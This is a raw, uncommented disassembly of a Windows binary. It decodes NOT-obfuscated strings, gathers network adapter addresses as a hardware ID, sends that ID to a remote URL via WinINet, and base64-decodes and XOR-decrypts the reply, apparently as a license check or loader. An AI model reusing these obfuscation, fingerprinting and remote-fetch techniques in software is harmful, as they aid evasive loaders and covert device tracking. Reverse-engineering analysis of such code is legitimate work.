lea rcx, [rbp - 0x10]
call fcn.140060380
cmp rdi, 0xffffffffffffffff
je 0x14005bf4f
lea rdx, [rbp + 0x3e8]
mov byte [0x1400800d8], r15b
lea rcx, [rbp + 0x510]
mov dword [rbp + 0x3e8], 0x2c00
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
je 0x14005b44a
lea rdx, [0x14006cb37]
lea rcx, [rbp + 0x58]
call fcn.14004a930
jmp 0x14005b541
lea rcx, [rbp + 0x350]
call fcn.14004e5a0
mov rax, r15
lea rcx, [rbp + 0x6b4]
cmp dword [rcx], 6
je 0x14005b47a
inc rax
add rcx, 0x2c0
cmp rax, 0x10
jl 0x14005b460
jmp 0x14005b525
imul r14, rax, 0x2c0
mov esi, r15d
cmp dword [rbp + r14 + 0x6a4], r15d
jbe 0x14005b525
lea rdi, [rbp + 0x6a8]
add rdi, r14
lea rbx, [0x14006cb37]
lea r12, [0x14006cf74]
nop word [rax + rax]
test esi, esi
lea rdx, [0x140074580]
lea rcx, [rbp + 0x350]
cmove rdx, rbx
call fcn.140060340
cmp byte [rdi], 0x10
lea rcx, [rbp + 0x350]
mov rdx, rbx
cmovb rdx, r12
call fcn.140060340
movzx edx, byte [rdi]
lea rcx, [rbp + 0xd0]
call fcn.14004aa90
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.1400602d0
lea rcx, [rbp + 0xd0]
call fcn.140060380
inc esi
lea rdi, [rdi + 1]
cmp esi, dword [rbp + r14 + 0x6a4]
jb 0x14005b4b0
movzx ebx, byte [rsp + 0x60]
mov r12d, dword [rbp + 0x398]
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x58]
call fcn.140060470
lea rcx, [rbp + 0x350]
call fcn.140060380
lea rcx, [rbp + 0x1f]
call fcn.14004f160
mov rsi, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005b554
lea rcx, [rdi + 1]
call fcn.140068a64
mov r14, rax
mov rdx, r15
test rdi, rdi
je 0x14005b652
cmp rdi, 8
jb 0x14005b630
dec rax
lea rcx, [rsi - 1]
add rax, rdi
add rcx, rdi
cmp r14, rcx
ja 0x14005b59a
cmp rax, rsi
jae 0x14005b630
cmp rdi, 0x40
jb 0x14005b5ff
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005b5b1
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005b62b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005b610
cmp rdx, rdi
jae 0x14005b652
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + rsi]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, r13
jne 0x14005b640
mov rdx, r14
mov byte [r14 + rdi], r15b
lea rcx, [rbp - 0x30]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
lea rcx, [rbp + 0x20]
call fcn.14004cc90
mov rsi, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005b680
lea rcx, [rdi + 1]
call fcn.140068a64
mov r14, rax
mov rdx, r15
test rdi, rdi
je 0x14005b782
cmp rdi, 8
jb 0x14005b760
lea rax, [rdi - 1]
lea rcx, [rsi - 1]
add rax, r14
add rcx, rdi
cmp r14, rcx
ja 0x14005b6c7
cmp rax, rsi
jae 0x14005b760
cmp rdi, 0x40
jb 0x14005b72e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005b6e0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005b75b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005b740
cmp rdx, rdi
jae 0x14005b782
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + rsi]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, r13
jne 0x14005b770
mov rdx, r14
mov byte [r14 + rdi], r15b
lea rcx, [rbp + 0x378]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
lea rdx, [0x140081018]
lea rcx, [rbp + 0x378]
call fcn.1400602d0
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x3c8]
call fcn.140061320
lea r8, [rbp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140061320
lea rcx, [rbp + 0x21]
mov r15, rax
call fcn.14004ca30
mov rsi, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14005b7f0
lea rcx, [rdi + 1]
call fcn.140068a64
xor edx, edx
mov r14, rax
test rdi, rdi
je 0x14005b8f2
cmp rdi, 8
jb 0x14005b8d0
lea rax, [rdi - 1]
lea rcx, [rsi - 1]
add rax, r14
add rcx, rdi
cmp r14, rcx
ja 0x14005b836
cmp rax, rsi
jae 0x14005b8d0
cmp rdi, 0x40
jb 0x14005b89e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
nop dword [rax]
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005b850
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005b8cb
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005b8b0
cmp rdx, rdi
jae 0x14005b8f2
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rsi + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, r13
jne 0x14005b8e0
mov rdx, r14
mov byte [r14 + rdi], 0
lea rcx, [rbp - 0x10]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
lea rcx, [rbp - 0x10]
call fcn.1400601b0
xor r14d, r14d
mov rcx, rax
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rcx, [rbp - 0x10]
mov rsi, rax
call fcn.140060380
lea rcx, [rbp + 0x350]
call fcn.14004e5a0
test rsi, rsi
je 0x14005bacb
mov rcx, r15
call fcn.1400601b0
mov rdx, rax
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x14005bacb
nop
lea r9, [rbp + 0x3a0]
mov r8d, 0x7d0
lea rdx, [rbp + 0x64e0]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rbp + 0x3a0]
lea rdx, [rbp + 0x64e0]
lea rcx, [rbp + 0x350]
call fcn.140060250
xor edx, edx
lea rcx, [rbp + 0x64e0]
mov r8d, 0x7d0
call fcn.1400699d2
cmp dword [rbp + 0x3a0], r14d
jne 0x14005b980
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x14006da54]
lea rcx, [rbp + 0x488]
call fcn.14004a930
lea rdx, [0x14007478c]
lea rcx, [rbp + 0x190]
call fcn.14004a930
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x1e0]
call fcn.1400604a0
xor r8d, r8d
lea rdx, [rbp + 0x190]
mov rcx, rax
mov rsi, rax
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14005ba89
nop dword [rax]
lea rcx, [rbp + 0x190]
call fcn.1400601a0
lea r9, [rbp + 0x488]
mov r8, rax
mov rdx, rdi
mov rcx, rsi
call fcn.140060220
lea rcx, [rbp + 0x488]
call fcn.1400601a0
lea rdx, [rbp + 0x190]
mov rcx, rsi
lea r8, [rax + rdi]
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14005ba40
mov rdx, rsi
lea rcx, [rbp + 0x78]
call fcn.140060470
mov rcx, rsi
call fcn.140060380
lea rcx, [rbp + 0x190]
call fcn.140060380
lea rcx, [rbp + 0x488]
call fcn.140060380
mov r13d, r12d
test r12b, 0x10
je 0x14005bbbb
and r13d, 0xffffffef
jmp 0x14005bbb2
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x14006da54]
lea rcx, [rbp + 0x98]
call fcn.14004a930
lea rdx, [0x14007478c]
lea rcx, [rbp + 0x468]
call fcn.14004a930
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x1c0]
call fcn.1400604a0
xor r8d, r8d
lea rdx, [rbp + 0x468]
mov rcx, rax
mov rsi, rax
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14005bb79
nop dword [rax + rax]
lea rcx, [rbp + 0x468]
call fcn.1400601a0
lea r9, [rbp + 0x98]
mov r8, rax
mov rdx, rdi
mov rcx, rsi
call fcn.140060220
lea rcx, [rbp + 0x98]
call fcn.1400601a0
lea rdx, [rbp + 0x468]
mov rcx, rsi
lea r8, [rax + rdi]
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14005bb30
mov rdx, rsi
lea rcx, [rbp + 0x78]
call fcn.140060470
mov rcx, rsi
call fcn.140060380
lea rcx, [rbp + 0x468]
call fcn.140060380
lea rcx, [rbp + 0x98]
call fcn.140060380
mov r13d, r12d
test r12b, 0x20
je 0x14005bbbb
and r13d, 0xffffffdf
lea rcx, [rbp + 0x78]
call fcn.140060380
lea rcx, [rbp + 0x350]
call fcn.140060380
mov rcx, r15
call fcn.140060380
lea rdx, [rbp + 0x78]
lea rcx, [0x1400800e0]
call fcn.1400603e0
lea rcx, [rbp + 0x78]
call fcn.140060380
lea rcx, [rbp + 0x3c8]
call fcn.140060380
lea rcx, [rbp + 0x378]
call fcn.140060380
lea rcx, [rbp - 0x30]
call fcn.140060380
lea rcx, [rbp + 0x58]
call fcn.140060380
lea rdx, [0x1400800e0]
lea rcx, [rbp + 0xd0]
call fcn.1400604a0
mov edx, 0xf8
lea rcx, [rbp + 0x5d10]
mov rdi, rax
call fcn.14004ca20
mov r12d, 1
lea rcx, [rbp + 0x5d10]
mov r9d, r12d
mov rdx, rdi
lea r8d, [r12 + 2]
call fcn.14005f7d0
lea rcx, [rbp + 0x378]
call fcn.14004e5a0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x5d10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14005bd19
nop
mov r10, qword [0x1400800b8]
xor edx, edx
mov rax, qword [rbp + 0x420]
mov r9, r12
mov r8, qword [0x1400800c0]
div r10
mov rcx, rdx
test r8, r8
je 0x14005bcdd
test r12b, r8b
je 0x14005bcc9
imul r9, rcx
xor edx, edx
mov rax, r9
div r10
mov r9, rdx
imul rcx, rcx
xor edx, edx
mov rax, rcx
div r10
shr r8, 1
mov rcx, rdx
jne 0x14005bcb5
movzx edx, r9b
lea rcx, [rbp + 0x378]
call fcn.1400601c0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x5d10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14005bc90
lea rcx, [rbp + 0x5d10]
call fcn.14004c9c0
mov rcx, rdi
call fcn.140060380
lea rdx, [rbp + 0x378]
lea rcx, [0x1400800e0]
call fcn.1400603e0
lea rcx, [rbp + 0x378]
call fcn.140060380
lea rcx, [rbp + 0x58]
call fcn.14004e5a0
lea rcx, [0x1400800e0]
mov edi, r14d
mov esi, r14d
call fcn.1400601b0
lea rcx, [0x1400800e0]
mov r14, rax
call fcn.140060200
mov r15, rax
cmp r14, rax
je 0x14005bdf4
mov ebx, 0x3f
movsx edx, byte [r14]
cmp dl, 0x3d
je 0x14005bde7
lea ecx, [rdx - 0x41]
cmp cl, 0x19
ja 0x14005bd99
lea eax, [rdx - 0x41]
jmp 0x14005bdc8
lea eax, [rdx - 0x61]
cmp al, 0x19
ja 0x14005bda5
lea eax, [rdx - 0x47]
jmp 0x14005bdc8
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x14005bdb1
lea eax, [rdx + 4]
jmp 0x14005bdc8
cmp dl, 0x2b
jne 0x14005bdbd
mov eax, 0x3e
jmp 0x14005bdc8
cmp dl, 0x2f
mov eax, 0xffffffff
cmove eax, ebx
shl edi, 6
add esi, 6
or edi, eax
cmp esi, 8
jl 0x14005bde7
sub esi, 8
mov edx, edi
mov ecx, esi
sar edx, cl
lea rcx, [rbp + 0x58]
call fcn.1400602f0
inc r14
cmp r14, r15
jne 0x14005bd83
movzx ebx, byte [rsp + 0x60]
lea rdx, [rbp + 0x58]
lea rcx, [0x1400800e0]
call fcn.1400603e0
lea rcx, [rbp + 0x58]
call fcn.140060380
mov edx, 0x18
lea rcx, [rbp + 0x2f0]
call fcn.140049e40
lea rcx, [rbp + 0x2f0]
call fcn.140049ec0
lea rcx, [rbp + 0x460]
call fcn.14004aa70
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x460]
call fcn.14005ffa0
mov rdx, rax
lea rcx, [rbp + 0x3f0]
call fcn.140061890
lea rcx, [rbp + 0x3f0]
call fcn.14005ff90
mov esi, eax
xor r15d, r15d
mov eax, 0x88888889
mov edi, r15d
imul esi
add edx, esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x3c
sub esi, ecx
cmp qword [0x1400800f0], r15
jbe 0x14005bec4
nop dword [rax]
mov rdx, rdi
lea rcx, [0x1400800e0]
call fcn.14005ffb0
movzx ecx, sil
lea rdx, [rbp - 0x68]
xor cl, byte [rax]
mov byte [rbp - 0x68], cl
lea rcx, [rbp + 0x2f0]
call fcn.14005f7b0
inc rdi
cmp rdi, qword [0x1400800f0]
jb 0x14005be90
lea rcx, [rbp + 0x350]
call fcn.14004e5a0
lea rcx, [rbp + 0x2f0]
mov rdi, r12
call fcn.140049e50
cmp r12, rax
jae 0x14005bf22
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x2f0]
call fcn.14005f7a0
lea rcx, [rbp + 0x350]
movzx edx, byte [rax]
call fcn.1400602f0
lea rcx, [rbp + 0x2f0]
inc rdi
call fcn.140049e50
cmp rdi, rax
jb 0x14005bef0
lea rcx, [rbp + 0x2f0]
call fcn.140049e60
lea rdx, [rbp + 0x350]
lea rcx, [0x1400800e0]
call fcn.1400603e0
lea rcx, [rbp + 0x350]
call fcn.140060380
jmp 0x14005bf59
mov r13d, r12d
mov byte [0x140080d9a], r15b
lea rcx, [rbp + 0x22]
call fcn.14004dcd0
mov r14, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14005bf70
lea rcx, [rdi + 1]
call fcn.140068a64
mov rsi, rax
mov rdx, r15
test rdi, rdi
je 0x14005c074
cmp rdi, 8
jb 0x14005c050
dec rax
lea rcx, [r14 - 1]
add rax, rdi
add rcx, rdi
cmp rsi, rcx
ja 0x14005bfb6
cmp rax, r14
jae 0x14005c050
cmp rdi, 0x40
jb 0x14005c01e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
nop dword [rax]
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005bfd0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005c04b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005c030
cmp rdx, rdi
jae 0x14005c074
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [r14 + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005c060
mov byte [rsi + rdi], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x18], r15
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x14005c090
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
cmp qword [rbp - 0x18], 0xf
lea r15, [rbp - 0x30]
lea rcx, [rbp + 0x23]
cmova r15, qword [rbp - 0x30]
call fcn.14004dbe0
mov r14, rax
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x14005c0d0
lea rcx, [rdi + 1]
call fcn.140068a64
xor r12d, r12d
mov rsi, rax
mov edx, r12d
test rdi, rdi
je 0x14005c1d4
cmp rdi, 8
jb 0x14005c1b0
lea rax, [rdi - 1]
lea rcx, [r14 - 1]
add rax, rsi
add rcx, rdi
cmp rsi, rcx
ja 0x14005c11a
cmp rax, r14
jae 0x14005c1b0
cmp rdi, 0x40
jb 0x14005c17f
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005c131
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005c1ab
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005c190
cmp rdx, rdi
jae 0x14005c1d4
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + r14]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005c1c0
xorps xmm0, xmm0
mov byte [rsi + rdi], r12b
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x48], r12
nop
inc r8
cmp byte [rsi + r8], r12b
jne 0x14005c1f0
mov rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
cmp qword [rbp + 0x48], 0xf
lea rdx, [rbp + 0x30]
xorps xmm0, xmm0
mov qword [rbp], r12
cmova rdx, qword [rbp + 0x30]
mov r8, 0xffffffffffffffff
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp + 8], r12
inc r8
cmp byte [rdx + r8], r12b
jne 0x14005c231
lea rcx, [rbp - 0x10]
call fcn.14004a970
lea rdx, [rbp + 0x398]
mov dword [rbp + 0x398], 0x2c00
lea rcx, [rbp + 0x3110]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
je 0x14005c28f
xorps xmm0, xmm0
mov qword [rsp + 0x78], r12
xor r8d, r8d
mov qword [rbp - 0x80], r12
lea rdx, [0x14006cb37]
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
call fcn.14004a970
jmp 0x14005c3d4
lea rcx, [rbp + 0x3c8]
call fcn.14004e5a0
mov rax, r12
lea rcx, [rbp + 0x32b4]
cmp dword [rcx], 6
je 0x14005c2bf
inc rax
add rcx, 0x2c0
cmp rax, 0x10
jl 0x14005c2a5
jmp 0x14005c3a3
imul r14, rax, 0x2c0
mov edi, r12d
cmp dword [rbp + r14 + 0x32a4], r12d
jbe 0x14005c3a3
lea rsi, [rbp + 0x32a8]
add rsi, r14
nop dword [rax]
nop word [rax + rax]
lea rax, [0x14006cb37]
test edi, edi
lea rdx, [0x140074580]
cmove rdx, rax
lea rcx, [rbp + 0x3c8]
call fcn.140060340
cmp byte [rsi], 0x10
lea rax, [0x14006cf74]
lea rdx, [0x14006cb37]
cmovb rdx, rax
lea rcx, [rbp + 0x3c8]
call fcn.140060340
movzx edx, byte [rsi]
lea rcx, [rbp + 0xd0]
call fcn.14004aa90
mov rdx, rax
lea rcx, [rbp + 0x3c8]
call fcn.1400602d0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14005c390
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c38b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6e2
call fcn.14006868c
inc edi
inc rsi
cmp edi, dword [rbp + r14 + 0x32a4]
jb 0x14005c2f0
movups xmm1, xmmword [rbp + 0x3d8]
mov qword [rbp + 0x3d8], r12
movups xmm0, xmmword [rbp + 0x3c8]
mov qword [rbp + 0x3e0], 0xf
movups xmmword [rsp + 0x78], xmm1
mov byte [rbp + 0x3c8], r12b
movups xmmword [rsp + 0x68], xmm0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14005c40f
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c40a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6e9
call fcn.14006868c
lea rcx, [rbp + 0x24]
call fcn.14004cc90
mov r14, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], r12b
jne 0x14005c422
lea rcx, [rdi + 1]
call fcn.140068a64
mov rsi, rax
mov rdx, r12
test rdi, rdi
je 0x14005c524
cmp rdi, 8
jb 0x14005c500
lea rax, [rdi - 1]
lea rcx, [r14 - 1]
add rax, rsi
add rcx, rdi
cmp rsi, rcx
ja 0x14005c469
cmp rax, r14
jae 0x14005c500
cmp rdi, 0x40
jb 0x14005c4ce
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005c480
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005c4fb
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005c4e0
cmp rdx, rdi
jae 0x14005c524
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [r14 + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005c510
mov byte [rsi + rdi], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], r12
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x308], r12
inc r8
cmp byte [rsi + r8], r12b
jne 0x14005c547
mov rdx, rsi
lea rcx, [rbp + 0x2f0]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
lea rdx, [0x140081018]
lea rcx, [rbp + 0x2f0]
call fcn.1400602d0
lea r8, str._hwid_hwid
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x58]
call fcn.140061240
cmp qword [rax + 0x18], 0xf
jbe 0x14005c59b
mov rax, qword [rax]
lea r8, [rsp + 0x68]
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.1400618c0
mov r8, r15
lea rcx, [rbp + 0x350]
mov rdx, rax
call fcn.140061240
mov rdx, rax
lea r8, [0x140080f10]
lea rcx, [rbp + 0x378]
call fcn.140061240
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x14005c615
mov rcx, qword [rbp + 0x350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c610
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6f0
call fcn.14006868c
mov rdx, qword [rbp + 0x90]
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], r12b
cmp rdx, 0xf
jbe 0x14005c66c
mov rcx, qword [rbp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c667
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6f0
call fcn.14006868c
mov rdx, qword [rbp + 0x70]
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], r12b
cmp rdx, 0xf
jbe 0x14005c6bd
mov rcx, qword [rbp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c6b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6f0
call fcn.14006868c
mov rdx, qword [rbp + 0x308]
